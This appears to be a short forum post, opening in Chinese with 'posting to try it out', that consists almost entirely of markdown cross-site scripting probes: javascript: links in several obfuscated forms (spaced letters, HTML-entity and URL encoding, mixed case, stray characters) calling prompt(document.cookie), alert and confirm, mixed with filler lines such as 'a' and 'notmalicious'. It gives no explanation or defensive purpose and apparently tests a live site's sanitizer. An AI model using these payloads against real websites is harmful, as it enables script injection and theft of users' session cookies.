发个贴试试

1

a

[a](j a v a s c r i p t:prompt(document.cookie))

\

javascript:prompt(document.cookie)

<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

\

a

a

\

notmalicious

test

test

notmalicious

notmalicious

a

clickme

text

a

[a](javascript:this;alert(1))

[a](javascript&#58this;alert(1))

[a](Javascript:alert(1))

[a](Javas%26%2399;ript:alert(1))

[a](javascript:alert�(1))

[a](javascript:confirm(1)

a

a

a

[a](
javascript:alert(document.domain))

a

a

a